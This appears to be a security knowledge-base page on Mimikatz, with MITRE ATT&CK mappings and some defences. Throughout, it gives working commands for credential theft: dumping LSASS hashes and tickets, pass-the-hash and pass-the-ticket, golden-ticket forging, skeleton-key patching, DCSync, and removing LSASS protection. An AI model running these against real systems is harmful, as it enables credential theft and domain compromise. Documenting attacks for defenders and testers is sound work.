Mimikatz

Mimikatz is Benjamin Delpy’s (@gentilkiwi) Windows credential-extraction tool — the reference implementation for reading authentication material (plaintext passwords, NTLM hashes, Kerberos tickets and session keys) out of the LSASS process on a live system. First released in 2007 (and famously used to demonstrate that WDigest cached cleartext credentials), it remains the de-facto post-exploitation credential tool on Windows. MITRE catalogs it as software S0002, with the underlying behavior tracked as T1003.001 — OS Credential Dumping: LSASS Memory. ^{1 2 3}

Mimikatz must run with local administrator or SYSTEM privileges (it requests SeDebugPrivilege via privilege::debug) and drops into its own interactive prompt (mimikatz #). The upstream lives at gentilkiwi/mimikatz; the project wiki (github.com/gentilkiwi/mimikatz/wiki) documents each module. ^{4 5}

mimikatz # privilege::debug
mimikatz # log mimikatz.log          :: log all output to file
mimikatz # sekurlsa::logonpasswords  :: the bread-and-butter dump

Running with the right privileges returns Privilege '20' OK. Anything else means the process token isn’t high enough — typically a UAC-filtered admin or a non-elevated shell.

Where credentials live in LSASS

LSASS caches per-logon-session credential material in memory, indexed by Authentication Package: ⁶

Package	What Mimikatz gets	Command
msv (MSV1_0)	NTLM hashes for recently logged-in users	sekurlsa::msv
wdigest	Plaintext passwords (if WDigest cleartext caching is enabled)	sekurlsa::wdigest
kerberos	Kerberos tickets + session keys	sekurlsa::tickets /export
tspkg / ssp / livessp	Additional SSP-cached creds (Terminal Services, etc.)	sekurlsa::tspkg etc.
ekeys	Kerberos encryption keys (RC4/AES128/AES256)	sekurlsa::ekeys

The convenient sekurlsa::logonpasswords aggregates all of the above in one shot — it’s the command behind the meterpreter creds_all (see meterpreter) and the PowerSploit reflective port’s -DumpCreds switch.

WDigest cleartext caching is disabled by default on Windows 8.1+ / Server 2012 R2+, but can be re-enabled by setting HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest!UseLogonCredential = 1 — the attacker then waits for the next interactive logon. Accounts in the Protected Users group never have their credentials cached in this way, even with the registry hack.

Dumping NTLM hashes for pass-the-hash

Two reservoirs:

• Local SAM — lsadump::sam yields NT hashes for local accounts.
• LSASS memory — sekurlsa::msv (or sekurlsa::logonpasswords) yields NT hashes for any user with an active logon session — including domain accounts. This is why a single compromised workstation can cascade: every helpdesk, admin, or service account that has logged in interactively is exposed. ⁷

LSA Protection (RunAsPPL) and Credential Guard both try to break this; Mimikatz’s mimidrv.sys driver can be loaded to strip PPL from lsass.exe (!processprotect /process:lsass.exe /remove) on systems where driver loading is permitted. Credential Guard moves the secret material into an isolated VTL1 process (LsaIso.exe) — Mimikatz cannot read it from VTL0.

Pass the hash — sekurlsa::pth

The classic T1550.002 — Pass the Hash pattern: spawn a process whose secondary logon uses a stolen NT hash rather than a password.

token::revert
sekurlsa::pth /user:$TARGET_USER /domain:$TARGET_DOMAIN /ntlm:$NT_HASH /run:"cmd.exe"

Two operational quirks:

1. token::revert matters — sekurlsa::pth fails when invoked from an already SYSTEM-elevated token in some workflows; reverting to the launch token first is the reliable pattern.
2. The spawned shell’s local identity is unchanged. [[whoami]] reports the user who launched Mimikatz, not the target user. The NTLM material is only used for network authentication — try dir \\$TARGET\C$ (or Invoke-Command -ComputerName $DC -ScriptBlock { whoami }) to verify.

Linux-side equivalents that accept an NT hash directly: impacket’s psexec.py / wmiexec.py / smbexec.py, evil-winrm (-H $HASH), xfreerdp with Restricted Admin mode, crackmapexec -H.

Pass the ticket and ticket export

Mimikatz distinguishes two related operations:

• sekurlsa::tickets /export — reads LSASS memory for all logon sessions and writes each TGT/TGS as a .kirbi file (ticket + session key bundle; see kerberos > kirbi-files—a-note-on-ticket-terminology). Requires SYSTEM to see other users’ tickets.
• kerberos::list /export — uses the official Kerberos API on the current session only. No special privileges required, but only your own tickets are reachable — and TGT session keys are only exported when allowtgtsessionkey is set (otherwise the session key field is zeroed).

A harvested .kirbi can then be injected into the current session:

kerberos::ptt $KIRBI_FILE

…and the account you are running as transparently impersonates the ticket’s owner for network authentication. Use the built-in klist to confirm what’s in the cache. This is T1550.003 — Pass the Ticket.

Golden, silver, and pass-the-key attacks

Once you hold long-term Kerberos keys, Mimikatz mints tickets directly — see golden-and-silver-ticket-attacks for the deep dive. The relevant primitives:

• lsadump::lsa /inject /name:$SERVICE — pull the service account’s NT hash and SID from LSASS (or lsadump::dcsync against a DC for krbtgt).
• kerberos::golden /user:$U /domain:$D /sid:$SID /krbtgt:$HASH /id:$RID [/ptt] — forge a TGT (golden) or, when /service:$SVC and a service-account key are supplied, a TGS (silver). /rc4, /aes128, /aes256 choose the key type.
• sekurlsa::ekeys — extract live Kerberos encryption keys from memory; then sekurlsa::pth /aes256:$KEY /user:$U /domain:$D /run:... performs overpass-the-hash (requesting a real TGT with the stolen key, which is structurally identical to a golden ticket from the KDC’s perspective but produces a normal-looking AS-REQ).
• misc::skeleton — on a domain controller only, patches the KDC in-memory so that any user can authenticate with a master “skeleton” password (default hash 60BA4FCADC466C7A033C178194C03DF6, i.e. mimikatz). Dies on reboot.

KDC-side abuse

Two more DC-resident primitives are worth knowing about:

• lsadump::dcsync /user:$TARGET — impersonates a DC and pulls password data via the replication protocol (DRSUAPI). This is how krbtgt is typically harvested without ever touching LSASS on the DC; see impacket’s secretsdump.py for the Linux equivalent.
• misc::skeleton — covered above.

Other implementations

• meterpreter kiwi extension — load kiwi inside meterpreter exposes creds_all, dcsync_ntlm, golden_ticket_create, lsa_dump_sam, etc. Same code, different host process.
• Invoke-Mimikatz — Joe Bialek’s reflective PowerShell port (PowerSploit / Empire) loads Mimikatz 2.0 in-memory without dropping the binary. Useful against AV that signatures mimikatz.exe on disk.
• pypykatz — pure-Python LSASS-dump parser; lets you analyze a .dmp offline on Linux (pairs with procdump -ma lsass.exe or rundll32 comsvcs.dll MiniDump).

Sources

• gentilkiwi/mimikatz on GitHub
• Mimikatz wiki (module reference)
• MITRE ATT&CK T1003.001 — OS Credential Dumping: LSASS Memory
• MITRE ATT&CK S0002 — Mimikatz

Related: kerberos, golden-and-silver-ticket-attacks, invoke-mimikatz, meterpreter, impacket, rubeus, kerberoasting, ntlm-relay-attacks.

Footnotes

1. gentilkiwi/mimikatz on GitHub ↩

2. MITRE ATT&CK S0002 — Mimikatz ↩

3. MITRE ATT&CK T1003.001 — OS Credential Dumping: LSASS Memory ↩

4. gentilkiwi/mimikatz on GitHub ↩

5. Mimikatz wiki (module reference) ↩

6. Mimikatz wiki (module reference) ↩

7. MITRE ATT&CK T1003.001 — OS Credential Dumping: LSASS Memory ↩